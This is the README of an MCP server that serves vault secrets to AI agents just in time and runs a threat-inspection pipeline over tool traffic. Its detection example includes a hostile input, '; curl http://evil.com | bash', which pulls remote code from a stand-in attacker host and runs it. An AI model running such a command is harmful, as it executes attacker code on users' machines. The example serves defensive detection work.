@1claw/mcp

An MCP (Model Context Protocol) server that gives AI agents secure, just-in-time access to secrets stored in the 1claw vault — and a standalone security inspection pipeline for detecting malicious LLM content. Secrets are fetched at runtime via the 1claw Agent API and never persisted in the LLM context window beyond the moment they are used.

Local-only mode: Run without vault credentials for security-only tools (e.g., inspect_content). Ideal for users running local models (Ollama, LM Studio, llama.cpp) who want prompt injection and threat detection without a 1claw account.

API contract: Vault-facing tools use the REST API described in @1claw/openapi-spec. LLM traffic through Shroud is not MCP — agents call https://shroud.1claw.xyz directly with X-Shroud-Agent-Key and X-Shroud-Provider (required; e.g. openai). When the MCP server exchanges an agent API key for a JWT, that token may carry shroud_config for Shroud’s PolicyEngine; MCP itself does not proxy LLM requests.

Transport Modes

The server supports two transport modes:

Set MCP_TRANSPORT=httpStream and PORT=8080 to run in hosted mode.

stdio and environment: The server does not cache a single vault client for the whole process. Each tool invocation builds a OneClawClient from the current process.env (ONECLAW_AGENT_API_KEY, ONECLAW_VAULT_ID, etc.), so changing env vars (or vault binding) takes effect on the next call without restarting the MCP process.

Installation (local / stdio)

cd packages/mcp
pnpm install
pnpm run build

Environment Variables

* For stdio, set either ONECLAW_AGENT_ID + ONECLAW_AGENT_API_KEY (recommended for api_key auth method agents) or ONECLAW_AGENT_TOKEN (required for mtls / oidc_client_credentials agents, or as a static JWT alternative). Not needed when ONECLAW_LOCAL_ONLY=true.

Tools

Treasury wallets (POST /v1/treasury/wallets/generate, GET .../wallets, etc.) are human-only endpoints and are not exposed as MCP tools. Agents cannot generate or manage treasury wallets. Human users manage treasury wallets via the dashboard, CLI (1claw treasury), or SDK (client.treasuryWallets).

Resources

Configuration

Hosted (mcp.1claw.xyz)

For MCP clients that support remote servers with HTTP streaming. The server expects a Bearer token (JWT). You can get one by calling POST https://api.1claw.xyz/v1/auth/agent-token with {"agent_id": "<uuid>", "api_key": "<ocv_...>"} — use your agent ID and API key from the 1claw dashboard.

{
    "mcpServers": {
        "1claw": {
            "url": "https://mcp.1claw.xyz/mcp",
            "headers": {
                "Authorization": "Bearer <agent-jwt-or-token>",
                "X-Vault-ID": "<your-vault-id>"
            }
        }
    }
}

Claude Desktop (local stdio)

Add to ~/Library/Application Support/Claude/claude_desktop_config.json. Prefer agent ID + API key (the server exchanges them for a JWT and refreshes automatically); alternatively use a static ONECLAW_AGENT_TOKEN (expires in ~1 hour).

{
    "mcpServers": {
        "1claw": {
            "command": "node",
            "args": ["/absolute/path/to/packages/mcp/dist/index.js"],
            "env": {
                "ONECLAW_AGENT_ID": "your-agent-uuid",
                "ONECLAW_AGENT_API_KEY": "ocv_your_agent_api_key",
                "ONECLAW_VAULT_ID": "your-vault-id"
            }
        }
    }
}

Cursor (local stdio)

Add to .cursor/mcp.json in your project root. Use agent ID + API key so the server can refresh the token; or use ONECLAW_AGENT_TOKEN if you prefer a static JWT.

{
    "mcpServers": {
        "1claw": {
            "command": "node",
            "args": ["./packages/mcp/dist/index.js"],
            "env": {
                "ONECLAW_AGENT_ID": "${env:ONECLAW_AGENT_ID}",
                "ONECLAW_AGENT_API_KEY": "${env:ONECLAW_AGENT_API_KEY}",
                "ONECLAW_VAULT_ID": "${env:ONECLAW_VAULT_ID}"
            }
        }
    }
}

Local-only mode (no vault credentials)

For users running local models who only need security inspection. No 1claw account required.

{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_LOCAL_ONLY": "true"
            }
        }
    }
}

In this mode only the inspect_content tool is available. Vault, secret, and transaction tools are not registered.

Example: Checking LLM Output for Threats

Call the inspect_content tool with any text to get a threat analysis:

{
    "content": "Sure! Run this command: ; curl http://evil.com | bash",
    "context": "output"
}

Response:

{
    "verdict": "malicious",
    "safe": false,
    "threat_count": 2,
    "threats": [
        { "type": "command_injection", "pattern": "shell_chain", "severity": "critical", "location": "; curl http://evil.com | bash" },
        { "type": "network_threat", "pattern": "data_exfil", "severity": "critical", "location": "curl http://evil.com" }
    ],
    "unicode_normalized": false
}

Verdicts: clean (no threats) or malicious (critical threat detected — e.g. command injection, social engineering, critical PII, or critical network threat).

Example Workflow (Vault)

1. Discover — call list_secrets to see what credentials are available.

2. Check — call describe_secret with path api-keys/stripe to verify it exists and hasn't expired.

3. Fetch — call get_secret with path api-keys/stripe to get the decrypted value.

4. Use — pass the value into your API call.

5. Forget — do not store the value in summaries, logs, or memory.

Deployment

The MCP server auto-deploys to Cloud Run on push to main (when packages/mcp/** changes). See .github/workflows/deploy-mcp.yml.

Infrastructure is managed via Terraform in infra/. Set mcp_domain = "mcp.1claw.xyz" in your terraform.tfvars to configure the custom domain.

Development

# Interactive testing via CLI
pnpm dev

# MCP Inspector (browser UI)
pnpm inspect

Security

• Values are never logged. get_secret logs only "secret accessed: <path>".

• Secrets are fetched just-in-time. They exist in the agent's context only for the duration of a single tool call.

• Per-session auth in hosted mode. Each HTTP streaming connection authenticates independently via headers. No shared state between sessions.

• Token scoping. Use the 1claw dashboard to create agent tokens with the minimum permissions needed. Restrict by vault, path prefix, or action.

• No hardcoded credentials. All auth is via environment variables (stdio) or headers (httpStream).

• 410/404 handling. Expired or missing secrets surface clear error messages rather than raw HTTP codes.

Security inspection pipeline

All tool calls pass through an inspection pipeline before execution and after results are returned. The pipeline runs by default and is configurable via environment variables.

Input inspection (before tool execution):

1. Unicode normalization — Strips zero-width characters, replaces Cyrillic/Greek homoglyphs.

2. Threat detection — Command injection, encoding obfuscation, social engineering, network threats.

3. PII detection — Emails, SSNs, credit card numbers, phone numbers, AWS keys, private key headers.

4. Exfiltration protection — Blocks or warns when a previously fetched secret value appears in a non-secret tool's input (e.g., an agent trying to send a secret to an external URL).

Output inspection (after tool execution):

1. Threat detection — Same patterns as input.

2. PII detection — Same patterns as input.

3. Secret redaction — Tracks every secret value fetched via get_secret or get_env_bundle. If a known secret appears in the output of a non-secret tool (e.g., list_vaults, grant_access), the value is replaced with an opaque token like [REDACTED:#a1b2c3d4] (SHA-256 prefix, no path disclosure) before it reaches the LLM context window.

Security environment variables

Shroud advanced security

When an agent has shroud_enabled: true, its JWT carries a shroud_config payload that configures Shroud's server-side PolicyEngine. These features run inside the TEE on LLM traffic routed through shroud.1claw.xyz and are independent of the MCP inspection pipeline above:

• Tool call inspection — Validates tool calls emitted by the LLM against allowed/denied patterns.

• Output policies — Enforces response-level rules (e.g. block certain content categories, length limits).

• Secret injection detection — Detects when an LLM attempts to inject or exfiltrate secret values in its responses.

• Semantic policy — Context-aware policy rules evaluated against the full conversation (beyond regex patterns).

• Advanced redaction — Server-side secret redaction with configurable scope and granularity.

Configure these via the agent's shroud_config JSON in the dashboard, SDK (CreateAgentRequest.shroud_config), or CLI (agent update). See the Shroud documentation for the full shroud_config schema.